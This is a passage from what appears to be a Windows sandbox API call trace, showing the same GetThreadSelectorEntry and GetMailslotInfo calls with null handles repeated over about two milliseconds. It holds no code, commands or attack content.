lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.322] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.322] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.323] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.323] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | 